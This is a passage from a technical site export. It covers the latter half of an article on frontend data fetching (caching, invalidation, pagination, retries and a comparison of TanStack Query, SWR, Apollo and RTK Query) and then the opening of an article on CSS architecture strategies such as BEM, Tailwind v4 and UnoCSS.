- Additionally, normalized cache means fetching the same entity from different queries returns the same object reference
- Deduplication is opt-out via `defaultOptions.watchQuery.fetchPolicy`

**RTK Query**:

- Deduplication per endpoint + argument combination
- Cache entry created on first subscription, shared by subsequent ones
- Reference counting: cache entry kept while ≥1 subscriber exists

### Edge Cases and Gotchas

**Race conditions with mutations**: If a mutation fires while a query is in-flight, the query result might be stale before it arrives. Libraries handle this differently:

- TanStack Query: `invalidateQueries` during mutation waits for in-flight queries to settle, then refetches
- SWR: `mutate(key)` cancels in-flight requests for that key
- Apollo: Mutation's `update` function runs after mutation completes, before query refetch

**Error propagation**: All callers receive the same error when a deduplicated request fails. This is usually desirable—if the API is down, all components should know. But it means one component's error boundary affects all components using the same data.

**Deduplication scope**: Most libraries deduplicate per-application instance. Server-side rendering creates a new query client per request to prevent data leaking between users.

## Application-Level Caching

Application caches store fetched data in memory, separate from the browser's HTTP cache. This enables instant UI updates, optimistic mutations, and fine-grained cache control.

### Cache Architecture Patterns

**Per-Query Cache (TanStack Query, SWR, RTK Query)**:

Each unique query key maps to one cache entry containing the response:

```
Cache Structure:
  ["users", 123] → { data: User, dataUpdatedAt: 1234567890 }
  ["users", 456] → { data: User, dataUpdatedAt: 1234567891 }
  ["posts", { authorId: 123 }] → { data: Post[], dataUpdatedAt: 1234567892 }
```

**Trade-off**: Simple to understand and implement. But if the same user appears in multiple queries, each query has its own copy. Updating user 123 in one query doesn't automatically update it in others.

**Normalized Cache (Apollo Client, Relay)**:

Entities stored once by ID, queries reference them:

```
Normalized Cache:
  User:123 → { id: 123, name: "Alice", email: "..." }
  User:456 → { id: 456, name: "Bob", email: "..." }
  ROOT_QUERY.users → [Reference(User:123), Reference(User:456)]
  ROOT_QUERY.posts({authorId:123}) → [Reference(Post:1), Reference(Post:2)]
```

**Trade-off**: Mutations automatically update all views of an entity—change `User:123` once, every query referencing it reflects the change. But normalization adds complexity: custom `keyFields` for unique identification, `merge` functions for pagination, handling of cache inconsistencies.

### Cache Invalidation Strategies

Cache invalidation is the hardest problem. The cache doesn't know when server data changes unless told.

**Time-based (TTL)**:

- Data considered stale after N seconds
- TanStack Query: `staleTime` (default 0—always stale)
- SWR: `refreshInterval` for polling
- Simple but imprecise—data might change immediately or not for hours

**Mutation-based**:

Invalidate related queries after mutations:

```ts title="tanstack-invalidation.ts" collapse={1-3, 12-15}
const queryClient = useQueryClient()

const mutation = useMutation({
  mutationFn: updateUser,
  onSuccess: () => {
    // Invalidate and refetch all user queries
    queryClient.invalidateQueries({ queryKey: ["users"] })
    // Or be specific
    queryClient.invalidateQueries({ queryKey: ["users", userId] })
  },
})
```

**Tag-based (RTK Query)**:

Queries declare what tags they provide; mutations declare what tags they invalidate:

```ts title="rtk-query-tags.ts" collapse={1-6, 22-30}
const api = createApi({
  baseQuery: fetchBaseQuery({ baseUrl: "/api" }),
  tagTypes: ["User", "Post"],
  endpoints: (builder) => ({
    getUsers: builder.query({
      query: () => "users",
      providesTags: (result) =>
        result ? [...result.map(({ id }) => ({ type: "User" as const, id })), "User"] : ["User"],
    }),
    updateUser: builder.mutation({
      query: ({ id, ...body }) => ({
        url: `users/${id}`,
        method: "PUT",
        body,
      }),
      invalidatesTags: (result, error, { id }) => [{ type: "User", id }],
    }),
  }),
})
```

**Design rationale for tags**: RTK Query chose tags over normalized cache because normalization is complex and error-prone. Tags provide explicit, predictable invalidation without the edge cases of automatic cache updates.

### Garbage Collection

Without garbage collection, caches grow unbounded. Libraries implement automatic cleanup:

**TanStack Query**:

- `gcTime` (formerly `cacheTime`): Time inactive query stays in memory (default 5 minutes)
- Query becomes "inactive" when no components subscribe
- After `gcTime`, entry removed and next request refetches from network
- `staleTime` and `gcTime` are independent—long `staleTime` doesn't extend `gcTime`

**SWR**:

- No explicit GC configuration
- Uses `dedupingInterval` and reference counting
- Cache entries cleaned when no active subscribers

**Apollo Client**:

- `gc()` method for manual garbage collection
- `cache.evict({ id: 'User:123' })` for specific entries
- `cache.gc()` removes unreachable objects after eviction

### Memory Limits and Constraints

Browser memory varies significantly:

| Device                    | Typical Heap Limit |
| ------------------------- | ------------------ |
| Desktop Chrome (64-bit)   | 4-16 GB            |
| Mobile Safari (iPhone 7+) | 1-2 GB             |
| Older mobile devices      | 645 MB - 1 GB      |

**Practical implications**:

- Large normalized caches can exhaust mobile memory
- Profile cache size in production with `performance.measureUserAgentSpecificMemory()`
- Consider LRU eviction for high-volume applications
- SSR requires request-scoped caches to prevent cross-user data leaks

## Stale-While-Revalidate Pattern

The stale-while-revalidate (SWR) pattern serves cached data immediately while fetching fresh data in the background. Users see content instantly; updates arrive silently.

### Pattern Mechanics

![Diagram](./diagram-1.svg)

### Implementation Details

**TanStack Query's approach**:

```ts title="stale-time.ts" collapse={1-2}
const { data, isStale, isFetching } = useQuery({
  queryKey: ["users"],
  queryFn: fetchUsers,
  staleTime: 60_000, // Data fresh for 60 seconds
  refetchOnWindowFocus: true, // Revalidate when tab regains focus
  refetchOnMount: true, // Revalidate when component mounts
})

// isStale: true if past staleTime
// isFetching: true if background fetch in progress
// data: always the cached value (stale or fresh)
```

**Revalidation triggers**:

| Trigger           | TanStack Query         | SWR                     | Apollo         |
| ----------------- | ---------------------- | ----------------------- | -------------- |
| Mount             | `refetchOnMount`       | `revalidateOnMount`     | `fetchPolicy`  |
| Window focus      | `refetchOnWindowFocus` | `revalidateOnFocus`     | Manual         |
| Network reconnect | `refetchOnReconnect`   | `revalidateOnReconnect` | Manual         |
| Interval          | `refetchInterval`      | `refreshInterval`       | `pollInterval` |

**Why window focus matters**: Users frequently switch tabs. When they return, cached data might be minutes old. Focus-triggered revalidation ensures they see current data without explicit refresh.

### Optimistic Updates vs. SWR

SWR handles read consistency. Optimistic updates handle write latency:

```ts title="optimistic-update.ts" collapse={1-5, 30-35}
const queryClient = useQueryClient()

const mutation = useMutation({
  mutationFn: updateUser,
  // Optimistically update cache before mutation completes
  onMutate: async (newUser) => {
    // Cancel in-flight refetches
    await queryClient.cancelQueries({ queryKey: ["users", newUser.id] })

    // Snapshot current value for rollback
    const previousUser = queryClient.getQueryData(["users", newUser.id])

    // Optimistically update
    queryClient.setQueryData(["users", newUser.id], newUser)

    return { previousUser }
  },
  // Rollback on error
  onError: (err, newUser, context) => {
    queryClient.setQueryData(["users", newUser.id], context?.previousUser)
  },
  // Refetch after success to ensure consistency
  onSettled: () => {
    queryClient.invalidateQueries({ queryKey: ["users"] })
  },
})
```

**Design trade-off**: Optimistic updates make UI feel instant but require rollback logic. Some teams prefer waiting for mutation success—simpler code, slightly slower perceived performance.

## Pagination Patterns

Pagination affects both API design and cache structure. The choice between cursor and offset pagination has significant performance implications.

### Cursor vs. Offset Pagination

**Offset pagination**:

```
GET /api/posts?offset=100&limit=20
```

- Skip first N records, return next M
- Familiar UX: "Page 1, 2, 3..."
- **Performance degrades with offset**: Database must scan and discard first N rows
- **Consistency issues**: Insert/delete between pages causes duplicates or gaps

**Cursor pagination**:

```
GET /api/posts?cursor=eyJpZCI6MTIzfQ&limit=20
```

- Opaque pointer to position in dataset
- **O(1) performance**: Database seeks directly to cursor position
- **Consistent**: Insertions/deletions don't affect pagination
- **Trade-off**: No "jump to page 50" capability

**Performance comparison** (real-world benchmarks):

| Offset    | Query Time |
| --------- | ---------- |
| 0         | 5ms        |
| 10,000    | 50ms       |
| 100,000   | 500ms      |
| 1,000,000 | 5,000ms    |

Cursor pagination maintains ~5ms regardless of position.

### Infinite Scroll Implementation

```ts title="infinite-scroll.ts" collapse={1-5, 25-30}
import { useInfiniteQuery } from '@tanstack/react-query'

function useInfinitePosts() {
  return useInfiniteQuery({
    queryKey: ['posts'],
    queryFn: ({ pageParam }) => fetchPosts({ cursor: pageParam }),
    initialPageParam: undefined,
    getNextPageParam: (lastPage) => lastPage.nextCursor,
    getPreviousPageParam: (firstPage) => firstPage.prevCursor,
  })
}

// Usage with intersection observer for infinite scroll
function PostList() {
  const { data, fetchNextPage, hasNextPage, isFetchingNextPage } =
    useInfinitePosts()

  const loadMoreRef = useIntersectionObserver(() => {
    if (hasNextPage && !isFetchingNextPage) {
      fetchNextPage()
    }
  })

  return (
    <>
      {data?.pages.flatMap((page) => page.posts.map((post) => <Post key={post.id} post={post} />))}
      <div ref={loadMoreRef} />
    </>
  )
}
```

### Cache Structure for Paginated Data

**TanStack Query**: Pages stored as array in single cache entry:

```
["posts"] → {
  pages: [
    { posts: [...], nextCursor: "abc" },
    { posts: [...], nextCursor: "def" },
    { posts: [...], nextCursor: null }
  ],
  pageParams: [undefined, "abc", "def"]
}
```

**Apollo Client**: Requires custom `merge` function for pagination:

```ts title="apollo-pagination.ts" collapse={1-8, 20-25}
const cache = new InMemoryCache({
  typePolicies: {
    Query: {
      fields: {
        posts: {
          keyArgs: ["authorId"], // Different cache entries per author
          merge(existing = { edges: [] }, incoming) {
            return {
              ...incoming,
              edges: [...existing.edges, ...incoming.edges],
            }
          },
        },
      },
    },
  },
})
```

### Prefetching Next Page

Prefetch the next page before users reach the end:

```ts title="prefetch-next.ts" collapse={1-4}
const queryClient = useQueryClient()

// Prefetch when user is N items from the end
function usePrefetchNextPage(currentCursor: string, threshold = 5) {
  useEffect(() => {
    queryClient.prefetchInfiniteQuery({
      queryKey: ["posts"],
      queryFn: ({ pageParam }) => fetchPosts({ cursor: pageParam }),
      initialPageParam: currentCursor,
    })
  }, [currentCursor])
}
```

## Error Handling and Retries

Network requests fail. Robust data fetching requires systematic error handling and intelligent retry strategies.

### Retry Strategies

**Exponential backoff with jitter** (AWS recommended pattern):

```ts title="exponential-backoff.ts"
function calculateBackoff(attempt: number, baseDelay = 1000, maxDelay = 30000): number {
  // Exponential: 1s, 2s, 4s, 8s, 16s...
  const exponentialDelay = baseDelay * Math.pow(2, attempt)
  // Cap at maximum
  const cappedDelay = Math.min(exponentialDelay, maxDelay)
  // Add jitter (0-100% of delay) to prevent thundering herd
  const jitter = Math.random() * cappedDelay
  return cappedDelay + jitter
}
```

**Why jitter matters**: Without jitter, all clients retry at the same time after an outage, overwhelming the recovering server. Jitter spreads retries over time.

**Library defaults**:

| Library        | Default Retries        | Backoff                  |
| -------------- | ---------------------- | ------------------------ |
| TanStack Query | 3                      | Exponential (1s, 2s, 4s) |
| SWR            | 0 (no automatic retry) | N/A                      |
| Apollo         | 0 (link-level config)  | Configurable             |
| RTK Query      | 0                      | N/A                      |

### Retryable vs. Non-Retryable Errors

Not all errors should trigger retries:

| Status Code           | Retryable          | Reason                              |
| --------------------- | ------------------ | ----------------------------------- |
| 408 Request Timeout   | Yes                | Transient, likely succeeds on retry |
| 429 Too Many Requests | Yes (with backoff) | Rate limit, wait and retry          |
| 500-503 Server Error  | Yes                | Server issue, might recover         |
| 400 Bad Request       | No                 | Client error, won't change          |
| 401 Unauthorized      | No                 | Auth issue, retry won't help        |
| 403 Forbidden         | No                 | Permission denied                   |
| 404 Not Found         | No                 | Resource doesn't exist              |

```ts title="retry-condition.ts" collapse={1-3, 15-20}
const { data } = useQuery({
  queryKey: ["users"],
  queryFn: fetchUsers,
  retry: (failureCount, error) => {
    // Don't retry client errors
    if (error.status >= 400 && error.status < 500) {
      return false
    }
    // Retry server errors up to 3 times
    return failureCount < 3
  },
  retryDelay: (attemptIndex) => Math.min(1000 * 2 ** attemptIndex, 30000),
})
```

### Idempotency for Safe Retries

Retrying non-idempotent requests (POST, PATCH) risks duplicate side effects. The `Idempotency-Key` header (IETF draft) solves this:

```ts title="idempotency-key.ts" collapse={1-4, 15-20}
async function createPayment(amount: number) {
  const idempotencyKey = crypto.randomUUID()

  const response = await fetch("/api/payments", {
    method: "POST",
    headers: {
      "Content-Type": "application/json",
      "Idempotency-Key": idempotencyKey,
    },
    body: JSON.stringify({ amount }),
  })

  return response.json()
}
```

**How it works**:

1. Client generates unique key for each logical operation
2. Server stores key → response mapping
3. If request retried with same key, server returns stored response
4. Prevents duplicate charges, duplicate orders, etc.

**Widely supported**: Stripe, Adyen, and most payment gateways require idempotency keys for mutations.

### Circuit Breaker Pattern

Prevent cascading failures when a service is down:

```ts title="circuit-breaker.ts" collapse={1-5, 35-45}
class CircuitBreaker {
  private failures = 0
  private lastFailure: number | null = null
  private state: "closed" | "open" | "half-open" = "closed"

  constructor(
    private threshold = 5,
    private timeout = 30000,
  ) {}

  async execute<T>(fn: () => Promise<T>): Promise<T> {
    if (this.state === "open") {
      if (Date.now() - (this.lastFailure ?? 0) > this.timeout) {
        this.state = "half-open"
      } else {
        throw new Error("Circuit breaker is open")
      }
    }

    try {
      const result = await fn()
      this.onSuccess()
      return result
    } catch (error) {
      this.onFailure()
      throw error
    }
  }

  private onSuccess() {
    this.failures = 0
    this.state = "closed"
  }

  private onFailure() {
    this.failures++
    this.lastFailure = Date.now()
    if (this.failures >= this.threshold) {
      this.state = "open"
    }
  }
}
```

**States**:

- **Closed**: Normal operation, requests pass through
- **Open**: After N failures, fail immediately without network call
- **Half-Open**: After timeout, allow one test request

## Library Comparison

### TanStack Query (React Query v5)

**Architecture**: Per-query cache with automatic garbage collection.

**Key concepts**:

- `staleTime`: How long data considered fresh (default: 0)
- `gcTime`: How long inactive queries stay in cache (default: 5 minutes)
- Query keys: Array-based, supports complex objects
- Devtools: Excellent built-in debugging

**Strengths**: Intuitive API, great TypeScript support, framework-agnostic (React, Vue, Solid, Svelte).

**Limitations**: No normalized cache—same entity in different queries = different copies.

> **Version note**: v5 (released 2023) renamed `cacheTime` to `gcTime` for clarity. The v4 → v5 migration requires updating this option name.

### SWR (Vercel)

**Architecture**: Minimal, focused on stale-while-revalidate pattern.

**Key concepts**:

- `dedupingInterval`: Deduplication window (default: 2 seconds)
- `refreshInterval`: Polling interval
- Focus/reconnect revalidation by default
- Optimized for 60% fewer re-renders via selective state updates

**Strengths**: Tiny bundle (~4KB), simple API, good defaults for most cases.

**Limitations**: Less powerful than TanStack Query for complex scenarios (pagination, optimistic updates).

### Apollo Client

**Architecture**: Normalized cache with GraphQL-specific optimizations.

**Key concepts**:

- `InMemoryCache`: Flattened object store keyed by `__typename:id`
- `TypePolicies`: Custom cache behavior per type
- `fetchPolicy`: Controls cache vs. network priority
- Automatic cache updates after mutations

**Strengths**: Automatic consistency via normalization, powerful for GraphQL.

**Limitations**: GraphQL-specific, normalized cache complexity, larger bundle.

**Cache normalization example**:

```ts title="apollo-type-policy.ts" collapse={1-5, 20-25}
const cache = new InMemoryCache({
  typePolicies: {
    User: {
      // Use email as unique identifier instead of id
      keyFields: ["email"],
    },
    Product: {
      fields: {
        // Compute displayPrice from cached price
        displayPrice: {
          read(_, { readField }) {
            const price = readField<number>("price")
            return price ? `$${price.toFixed(2)}` : null
          },
        },
      },
    },
  },
})
```

### RTK Query

**Architecture**: Built on Redux Toolkit, tag-based cache invalidation.

**Key concepts**:

- `providesTags`: What data a query provides
- `invalidatesTags`: What tags a mutation invalidates
- Automatic refetch when tags invalidate
- Per-endpoint cache configuration

**Strengths**: Great for Redux apps, explicit invalidation logic, good TypeScript inference.

**Limitations**: Redux dependency, no normalized cache, more boilerplate than alternatives.

### Decision Matrix

| Factor            | TanStack Query            | SWR         | Apollo             | RTK Query     |
| ----------------- | ------------------------- | ----------- | ------------------ | ------------- |
| Bundle size       | ~13KB                     | ~4KB        | ~50KB              | ~15KB + Redux |
| Learning curve    | Low                       | Very low    | Medium             | Medium        |
| GraphQL           | Via plugin                | Via plugin  | Native             | Via plugin    |
| Normalization     | No                        | No          | Yes                | No            |
| DevTools          | Excellent                 | Good        | Excellent          | Good          |
| Framework support | React, Vue, Solid, Svelte | React       | React, iOS, Kotlin | React         |
| Best for          | Most REST/GraphQL apps    | Simple apps | GraphQL-heavy apps | Redux apps    |

## Conclusion

Frontend data fetching is a solved problem at the library level—TanStack Query, SWR, Apollo, and RTK Query handle the hard parts. The challenge is choosing the right tool and understanding its trade-offs.

**Key decisions**:

1. **Normalized vs. per-query cache**: Normalized (Apollo) guarantees consistency but adds complexity. Per-query (TanStack Query, SWR) is simpler but requires manual invalidation.

2. **Stale time configuration**: `staleTime: 0` (TanStack Query default) means constant background refetching. Increase it for data that changes rarely. Balance freshness against network cost.

3. **Pagination strategy**: Cursor pagination performs better at scale. Offset is acceptable for small datasets with jump-to-page requirements.

4. **Error handling**: Retry transient errors with exponential backoff and jitter. Use idempotency keys for mutations. Circuit breakers prevent cascading failures.

The common mistake is over-engineering: reaching for normalized caching when per-query suffices, implementing complex optimistic updates when showing a loading spinner is acceptable, or building custom solutions when libraries handle it better.

## Appendix

### Prerequisites

- Understanding of HTTP caching headers (`Cache-Control`, `ETag`)
- Familiarity with Promises and async/await
- Basic knowledge of React hooks (for library examples)
- Understanding of REST API pagination concepts

### Terminology

- **Stale data**: Cached data past its configured freshness time, still usable but should be revalidated
- **GC (Garbage Collection)**: Automatic removal of unused cache entries to free memory
- **Normalized cache**: Cache structure where entities are stored once by ID and referenced from multiple queries
- **Deduplication**: Combining multiple identical requests into a single network call
- **Idempotent**: Operation that produces the same result regardless of how many times it's executed
- **Circuit breaker**: Pattern that fails fast when a service is known to be down, preventing wasted requests

### Summary

- **HTTP caching** (RFC 9111, RFC 5861) provides browser-level caching with `Cache-Control`, conditional requests via ETags, and stale-while-revalidate for background refresh
- **Request deduplication** stores in-flight promises—multiple components with the same query key share one network request
- **Application caching** stores responses in memory; per-query cache is simpler, normalized cache ensures consistency
- **Cache invalidation** strategies: time-based (TTL), mutation-based (invalidate after write), tag-based (RTK Query's explicit dependency tracking)
- **Stale-while-revalidate** serves cached data immediately, revalidates in background—configurable via `staleTime` and revalidation triggers
- **Cursor pagination** outperforms offset at scale (O(1) vs O(N)); use offset only for small datasets with page-number requirements
- **Retry strategies**: exponential backoff with jitter for transient errors, idempotency keys for safe mutation retries, circuit breakers for cascading failure prevention

### References

**Specifications**

- [RFC 9111 - HTTP Caching](https://www.rfc-editor.org/rfc/rfc9111.html) - Authoritative HTTP cache semantics (replaced RFC 7234)
- [RFC 5861 - HTTP Cache-Control Extensions](https://datatracker.ietf.org/doc/html/rfc5861) - stale-while-revalidate and stale-if-error extensions
- [RFC 9110 - HTTP Semantics](https://datatracker.ietf.org/doc/html/rfc9110) - Idempotent method definitions (GET, PUT, DELETE)
- [IETF Draft - Idempotency-Key Header](https://datatracker.ietf.org/doc/draft-ietf-httpapi-idempotency-key-header/) - Standardized idempotency key format

**Official Documentation**

- [TanStack Query Documentation](https://tanstack.com/query/latest) - Query concepts, caching, and mutations
- [SWR Documentation](https://swr.vercel.app/) - Performance optimizations and configuration
- [Apollo Client Cache Configuration](https://www.apollographql.com/docs/react/caching/cache-configuration) - Normalized cache and type policies
- [RTK Query Overview](https://redux-toolkit.js.org/rtk-query/overview) - Tag-based invalidation and cache behavior

**Implementation References**

- [AWS Builders Library - Timeouts, Retries, and Backoff](https://aws.amazon.com/builders-library/timeouts-retries-and-backoff-with-jitter/) - Exponential backoff with jitter patterns
- [MDN - HTTP Caching](https://developer.mozilla.org/en-US/docs/Web/HTTP/Caching) - Browser caching behavior
- [MDN - HTTP Conditional Requests](https://developer.mozilla.org/en-US/docs/Web/HTTP/Conditional_requests) - ETag and Last-Modified validation

---

## CSS Architecture Strategies: BEM, Utility-First, and CSS-in-JS

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/frontend-engineering/frontend-architecture-patterns/css-architecture-strategies
**Category:** Frontend Engineering / Frontend Architecture & Patterns
**Description:** Every CSS architecture answers the same question: how do you organize styles so that a growing team can ship changes without breaking existing UI? The answer involves tradeoffs between naming discipline, tooling overhead, runtime cost, and the dependency direction between markup and styles. This article dissects the three dominant paradigms—naming conventions (BEM and descendants), utility-first systems (Tailwind CSS, UnoCSS), and CSS-in-JS (runtime and zero-runtime variants)—then maps modern CSS platform features that are collapsing the gaps between them.

# CSS Architecture Strategies: BEM, Utility-First, and CSS-in-JS

Every CSS architecture answers the same question: how do you organize styles so that a growing team can ship changes without breaking existing UI? The answer involves tradeoffs between naming discipline, tooling overhead, runtime cost, and the dependency direction between markup and styles. This article dissects the three dominant paradigms—naming conventions (BEM and descendants), utility-first systems (Tailwind CSS, UnoCSS), and CSS-in-JS (runtime and zero-runtime variants)—then maps modern CSS platform features that are collapsing the gaps between them.

<figure>

![CSS architecture strategies address specificity, naming, dead code, and coupling. Modern CSS platform features are shifting the calculus by solving problems that previously required tooling.](./css-architecture-strategies-address-specificity-naming-dead-code-and-coupling-mo.svg)

<figcaption>CSS architecture strategies address specificity, naming, dead code, and coupling. Modern CSS platform features are shifting the calculus by solving problems that previously required tooling.</figcaption>
</figure>

## Abstract

CSS architecture is fundamentally about **dependency direction**: does CSS depend on HTML structure (semantic class names that mirror content), or does HTML depend on CSS (utility classes that compose pre-built style primitives)? This single axis—introduced by Adam Wathan and formalized by every methodology since OOCSS—determines your specificity management strategy, dead code elimination story, refactoring cost, and team onboarding friction.

The three paradigms form a spectrum:

| Strategy | Dependency Direction | Scope Mechanism | Dead Code Story | Runtime Cost |
| --- | --- | --- | --- | --- |
| **BEM / naming conventions** | CSS mirrors HTML structure | Convention (human discipline) | Manual auditing | None |
| **Utility-first** | HTML composes CSS primitives | Constraint (fixed token set) | Build-time tree-shaking | None |
| **CSS-in-JS (runtime)** | Co-located, JS generates CSS | Automatic (hashed classes) | Bundler tree-shaking | CSSOM injection per render |
| **CSS-in-JS (zero-runtime)** | Co-located, build extracts CSS | Automatic (hashed classes) | Bundler tree-shaking | None |
| **CSS Modules** | Co-located, build hashes names | Automatic (hashed classes) | Bundler tree-shaking | None |

Modern CSS features—Cascade Layers (`@layer`), native nesting, `@scope`, and `:has()`—do not replace these paradigms but shift where their boundaries fall. `@layer` solves specificity wars that BEM was invented to avoid. Native nesting reduces the preprocessor dependency that naming conventions relied on. Zero-runtime CSS-in-JS converges with utility-first at the output level: both produce static atomic CSS.

## The CSS Scaling Problem

Before comparing strategies, it helps to name the four problems every CSS architecture must solve at scale.

### Specificity Conflicts

The CSS cascade resolves conflicts by specificity, then source order. In a large codebase, uncoordinated selectors accumulate specificity that becomes unpredictable. The result: developers reach for `!important`, which escalates the arms race. GitHub's Primer team documented that before adopting utility classes, their codebase contained hundreds of `!important` declarations—each one a sign that the cascade had become adversarial.

The W3C CSS Cascading and Inheritance Level 5 specification introduced Cascade Layers (`@layer`) specifically to address this. Layers are evaluated *before* specificity in the cascade algorithm, giving authors deterministic ordering without specificity hacks.

### Naming Collisions

Global CSS means every class name shares a single namespace. Two developers writing `.card` in different files will collide. BEM solves this through convention (`.block__element--modifier`). CSS Modules and CSS-in-JS solve it through tooling (hashed class names). Utility-first sidesteps it entirely—there is nothing to name because you compose existing classes.

### Dead Code Accumulation

CSS is append-only in practice. Removing a class requires proving no template references it—a whole-codebase search that most teams skip. Over years, stylesheets accumulate unused rules. The HTTP Archive reports that the median page ships 80+ KB of CSS, with studies showing 35-50% is unused on first load. Utility-first and CSS-in-JS both tie style generation to template usage, making dead code elimination automatic.

### Coupling Between Markup and Styles

Semantic CSS couples styles to content structure: `.author-bio` only makes sense in one context. Refactoring the markup means refactoring the CSS. Utility classes invert this—styles are content-agnostic. CSS-in-JS co-locates them, making the coupling explicit and local rather than implicit and distant.

## Naming Conventions: BEM and Its Descendants

### BEM (Block Element Modifier)

BEM (Block Element Modifier), created by Yandex in 2005 and open-sourced in 2010, is a naming convention that encodes component structure into class names. The format `block__element--modifier` creates a flat specificity profile (single class selectors only) while communicating relationships.

```css title="BEM naming pattern"
/* Block: standalone component */
.search-form { }

/* Element: part of the block (double underscore) */
.search-form__input { }
.search-form__button { }

/* Modifier: variant or state (double hyphen) */
.search-form--dark { }
.search-form__button--disabled { }
```

**Design rationale:** BEM enforces single-class selectors, keeping specificity uniformly at `0,1,0`. No nesting, no combinators, no IDs. This means source order is the only tiebreaker—and since BEM components are self-contained, source order rarely matters within a component.

**Where BEM breaks down:**

- **Cross-component styling.** When a `.card` inside a `.sidebar` needs different spacing, BEM offers no clean mechanism. Teams resort to context-dependent modifiers (`.card--in-sidebar`) that violate the component isolation principle.
- **State management.** Interactive states like `.is-active` or `.is-open` require a separate convention that BEM does not prescribe, leading to inconsistent patterns across teams.
- **Verbose naming.** Deep component trees produce names like `.dashboard__sidebar__nav-item--active`, which is unwieldy. Harry Roberts (creator of ITCSS, prominent BEM advocate) recommends flattening: avoid nesting elements more than one level.
- **No enforcement.** BEM is pure convention. Nothing prevents a developer from writing `.search-form .input`—a nested selector that defeats the entire purpose. Linting rules (e.g., `stylelint-selector-bem-pattern`) help but require explicit adoption.

### OOCSS (Object-Oriented CSS)

Nicole Sullivan introduced OOCSS (Object-Oriented CSS) at Web Directions North in 2009 with two principles: **separate structure from skin** (layout vs. visual decoration) and **separate container from content** (a component should look the same regardless of where it appears). Sullivan demonstrated the approach by reducing Facebook's CSS by ~19% while working there.

OOCSS anticipated the utility-first movement. The `.media` object—a floated image beside text—was one of the first reusable CSS abstractions, appearing in Bootstrap's media component and countless design systems.

### SMACSS and ITCSS: Layered Organization

SMACSS (Scalable and Modular Architecture for CSS), created by Jonathan Snook in 2011, categorizes rules into five types: Base, Layout, Module, State, and Theme. ITCSS (Inverted Triangle CSS), created by Harry Roberts, orders CSS from generic to specific: Settings, Tools, Generic, Elements, Objects, Components, Utilities—a specificity pyramid where each layer has higher specificity than the one before it.

Both are organizational frameworks, not naming conventions. They prescribe *file structure and import order* to manage the cascade. ITCSS's insight is particularly relevant: by ordering imports from low to high specificity, later rules naturally override earlier ones without `!important`.

> **Modern equivalent:** Tailwind CSS v4 uses native CSS `@layer` directives (`theme`, `base`, `components`, `utilities`) to achieve the same specificity ordering that ITCSS prescribed through file conventions. The platform now provides what ITCSS simulated.

### CUBE CSS: Convention Meets Utility

Andy Bell's CUBE CSS (Composition Utility Block Exception) is a hybrid methodology that embraces utility classes for the common case and reserves BEM-style blocks for exceptions—specific overrides that break the general pattern. The "Composition" layer handles layout using flow and spacing primitives rather than component-specific positioning.

CUBE represents the philosophical middle ground: use utilities where they suffice, fall back to named classes for genuinely unique styling. It is notably the methodology behind the BBC's GEL design system rebuild.

### When Naming Conventions Still Make Sense

Naming conventions remain relevant when:

- **No build step is available** (static sites, CMS templates, email HTML)
- **Team has established BEM fluency** and the codebase is stable
- **Third-party CSS integration** requires predictable class names for overrides
- **Server-rendered content** where markup is generated by backend templates (Rails, Django, PHP) and component extraction is impractical

The cost is perpetual vigilance: no tool enforces the convention, dead code accumulates, and specificity discipline depends entirely on code review.

## Utility-First CSS

### The Dependency Direction Insight

Adam Wathan's 2017 essay "CSS Utility Classes and Separation of Concerns" reframed the architecture debate. The traditional model—semantic class names that describe content—creates CSS that depends on HTML structure. Renaming a component means renaming its CSS. Wathan inverted this: utility classes are content-agnostic primitives that HTML composes, making the CSS reusable across any context.

The practical observation: "For the project you are working on, what would be more valuable: restyleable HTML, or reusable CSS?" For most component-driven applications, the answer is reusable CSS.

### Tailwind CSS v4 Architecture

As of Tailwind CSS v4 (released January 2025), the framework underwent a foundational rewrite:

**Oxide engine.** The core was rewritten from JavaScript to Rust, integrating Lightning CSS for vendor prefixing and syntax transforms. Build performance improved 3.5-5x for full builds and 8-100x for incremental rebuilds. Cold starts are 30x faster.

**CSS-first configuration.** The JavaScript `tailwind.config.js` is replaced by CSS-native `@theme` directives:

```css title="tailwind-v4-config.css" collapse={1-2}
@import "tailwindcss";

@theme {
  --color-primary: #2563eb;
  --color-surface: #fefefe;
  --font-sans: "Inter", system-ui, sans-serif;
  --breakpoint-lg: 1024px;
}
```

Tokens declared in `@theme` serve dual purpose: they generate utility classes (`bg-primary`, `text-surface`) *and* are available as CSS custom properties at runtime, eliminating the dual-maintenance problem of v3.

**Native Cascade Layers.** v4 uses real CSS `@layer` for `theme`, `base`, `components`, and `utilities`. This gives deterministic specificity ordering: utilities always override components regardless of source order—the exact problem ITCSS solved through file conventions.

**Automatic content detection.** No `content` paths configuration. The Oxide engine scans the project automatically, eliminating a common source of "missing class" bugs.

> **Prior to v4:** Tailwind v3 used a JavaScript-based JIT compiler, required explicit `content` path configuration, and relied on PostCSS as its build pipeline. Configuration lived in `tailwind.config.js`, and design tokens had to be duplicated as CSS custom properties if runtime access was needed.

### Bundle Size and Tree-Shaking

Tailwind's Just-In-Time compiler (default since v2.1, enhanced in v4) generates CSS only for classes found in templates. Production output is typically under 10 KB compressed. Netflix's Top 10 site ships 6.5 KB of CSS using Tailwind.

A critical constraint: class names must be **statically extractable**. The JIT compiler scans files as strings—it does not evaluate JavaScript. Dynamic class construction like `` `text-${color}-500` `` breaks extraction. Complete class names must appear in source:

```ts title="dynamic-classes.ts"
// Breaks tree-shaking — class name is not statically extractable
const cls = `text-${color}-500`

// Works — complete class names are scannable
const colorMap = { red: "text-red-500", blue: "text-blue-500" }
const cls = colorMap[color]
```

### The @apply Tension

Tailwind provides `@apply` to extract utility patterns into named classes. The Tailwind team explicitly discourages heavy use. Wathan's position: using `@apply` for everything means "you are basically just writing CSS again and throwing away all of the workflow and maintainability advantages Tailwind gives you."

Valid `@apply` use cases are narrow:

- **CMS/WYSIWYG content** where you cannot control markup classes
- **Third-party library overrides** where you must target specific selectors
- **Template languages** (ERB, Twig, Jinja) where component extraction is impractical

For component frameworks (React, Vue, Svelte, Astro), the component itself is the abstraction. A `<Button>` component encapsulates its utility classes; there is no duplication to extract.

### UnoCSS: The Extensible Alternative

Anthony Fu's UnoCSS (Vue/Vite core team) takes a different approach: an "instant atomic CSS engine" with a fully extensible preset system. It ships Tailwind-compatible, WindiCSS-compatible, and Attributify presets (utilities as HTML attributes like `<div text="lg" p="4">`).

